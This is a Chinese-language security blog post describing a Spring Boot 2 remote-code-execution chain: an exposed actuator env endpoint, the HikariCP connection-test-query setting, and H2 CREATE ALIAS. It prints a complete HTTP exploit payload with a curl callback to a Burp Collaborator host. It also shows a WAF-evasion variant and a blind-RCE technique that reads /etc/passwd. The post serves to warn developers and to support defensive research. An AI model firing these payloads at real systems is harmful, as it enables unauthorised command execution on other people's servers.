Spring Boot 2 远程代码执行:利用暴露的执行器与H2数据库别名的三重攻击链

本文详细分析了Spring Boot 2.x中通过暴露的执行器端点和H2数据库的CREATE ALIAS功能实现远程代码执行的技术细节,包括环境变量修改、SQL查询执行和命令注入绕过技巧。

Spring Boot 2中的远程代码执行:链接暴露的执行器和H2数据库别名

序幕 🔗

Spring Boot框架是最受欢迎的基于Java的微服务框架之一,帮助开发者快速轻松地部署Java应用程序。凭借其专注于开发者友好的工具和配置,Spring Boot加速了开发过程。

然而,这些开发默认设置在不熟练的开发者手中可能变得危险。我的文章扩展了Michal Stepankin的研究,他研究了在Spring Boot 1.x中利用暴露的执行器并通过反序列化实现RCE的方法。我提供了通过Spring Boot 2.x的默认HikariCP数据库连接池和常见的Java开发数据库H2数据库引擎的更新RCE方法。我还基于Spring Boot的默认教程应用程序创建了一个示例Spring Boot应用程序来演示该漏洞利用。

让我们从最终的有效载荷开始:

1
2
3
4
5
POST /actuator/env HTTP/1.1
Host: target.app
Content-Type: application/json

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream());  if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL EXEC('curl  http://x.burpcollaborator.net');"}

该有效载荷包含三个不同部分:对/actuator/env端点的环境修改请求、CREATE ALIAS H2 SQL命令,以及最终的OS命令注入。

第一幕:暴露的执行器 🔗

Spring Boot执行器创建了几个HTTP端点,允许开发者轻松监控和管理应用程序。正如Stepankin指出的,“从Spring版本1.5开始,除了/health和/info之外的所有端点都被认为是敏感的,默认情况下是安全的,但这种安全性通常被应用程序开发者禁用。”对于此漏洞利用,必须暴露/actuator/env端点。开发者只需在application.properties配置文件中添加management.endpoints.web.exposure.include=env(或更糟的是,management.endpoints.web.exposure.include=*)即可暴露此端点。

/actuator/env端点包括GET和POST方法,用于检索和设置应用程序的环境变量。POST请求使用以下格式:

1
2
3
4
5
POST /actuator/env HTTP/1.1
Host: target.app
Content-Type: application/json

{"name":"<变量名>","value":"<变量值>"}

您可以探索应用程序的环境变量列表,这些变量提供有关执行上下文和系统的数据。然而,只有少数这些变量可以在运行时用于更改应用程序,甚至更少的变量可以用于实现代码执行。幸运的是,Spring Boot 2.x默认使用HikariCP数据库连接池,这引入了一个这样的变量。

第二幕:H2 CREATE ALIAS命令 🔗

HikariCP帮助应用程序与数据库通信。根据其文档,它接受connectionTestQuery配置,该配置定义了在从池中给您连接之前将执行的查询,以验证与数据库的连接是否仍然有效。匹配的Spring Boot环境变量是spring.datasource.hikari.connection-test-query。简而言之,每当创建新的数据库连接时,spring.datasource.hikari.connection-test-query的值将首先作为SQL查询执行。有两种方法可以触发新的数据库连接——要么通过向POST /actuator/restart发送请求来重新启动应用程序,要么通过更改数据库连接的数量并通过向应用程序发出多个请求来初始化它。

这已经相当严重了——如果您愿意,可以运行任意SQL查询并删除数据库。然而,让我们进一步升级并研究H2数据库引擎,这是最受欢迎的Java开发数据库之一。可以将其视为基于Java的SQLite,但非常容易集成到Spring Boot中。它只需要一个依赖项。因此,它常用于Spring Boot开发。

Matheus Bernardes强调了H2中包含的一个重要SQL命令:CREATE ALIAS。类似于PostgreSQL的用户定义函数,您可以定义一个与别名对应的Java函数,并随后在SQL查询中像调用函数一样调用它。

1
2
CREATE ALIAS GET_SYSTEM_PROPERTY FOR "java.lang.System.getProperty";
CALL GET_SYSTEM_PROPERTY('java.class.path');

当然,您可以使用Java的Runtime.getRuntime().exec函数,这允许您直接执行OS命令。

第三幕:针对WAF和有限执行上下文的命令注入 🔗

此时,您可能会遇到常见的WAF过滤器,尤其是像exec()这样的多汁字符串。然而,这种嵌套有效载荷的一个优点是,您可以使用各种字符串连接技术轻松找到绕过方法。RIPStech的Johannes Moritz通过使用CONCAT和HEXTORAW命令分解查询来演示这一点:

1
2
3
4
CREATE ALIAS EXEC AS CONCAT('void e(String cmd) throws java.io.IOException',
HEXTORAW('007b'),'java.lang.Runtime rt= java.lang.Runtime.getRuntime();
rt.exec(cmd);',HEXTORAW('007d'));
CALL EXEC('whoami');

另一个挑战是您可能在极其有限的上下文中执行代码。应用程序可能在没有互联网访问且可用命令有限的Dockerized实例中运行;Alpine Linux是Docker中最常见的Linux发行版,甚至没有Bash。此外,exec()函数执行原始OS命令而不是在shell中执行,移除了有用的工具,如布尔比较、管道和重定向。

在这里,稍微放大一点并以整体方式处理有效载荷是有帮助的。请记住,spring.datasource.hikari.connection-test-query的目的是验证与数据库的连接是否仍然有效。如果查询失败,应用程序将认为数据库不可达,并不再返回其他数据库查询。攻击者可以利用这一点获得盲RCE,而不是运行像curl x.burpcollaborator.net这样的命令,他们运行grep root /etc/passwd。这会返回输出(因为/etc/passwd确实包含root字符串),因此查询成功。应用程序继续正常运行。如果他们运行grep nonexistent /etc/passwd,命令不返回输出,Java代码抛出错误,查询失败,导致应用程序失败。

1
2
3
4
5
6
7
String shellexec(String cmd) throws java.io.IOException {
 java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream());
 if (s.hasNext()) {
  return s.next();  // OS命令返回输出;返回输出且SQL查询成功
 }
 throw new IllegalArgumentException(); // OS命令未能返回输出;抛出异常且SQL查询失败
}

这是一种有趣的方式,将有效载荷的三个组件联系在一起,以在有限上下文中仍然证明代码执行。非常感谢Ian Bouchard指出了盲RCE的可能性。

希望您不必处理这个问题,而是可以获得简单的curl回显,就像我的示例易受攻击的Spring Boot应用程序一样。

结论:危险的开发默认设置 🔗

通过暴露/actuator/env和/actuator/restart端点——在开发环境中相当常见——开发者将其应用程序置于远程代码执行的风险中。当然,如果应用程序在本地运行,这不会成为问题,但不难想象粗心的开发者在原型设计期间将其放在公共IP上。

贯穿本文及相关文章的一个共同主题是,开发者可以在不知情的情况下轻松地在代码中引入严重漏洞。执行器和H2数据库是加速开发和原型设计的有用工具,但暴露它们默认会创建远程代码执行漏洞。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计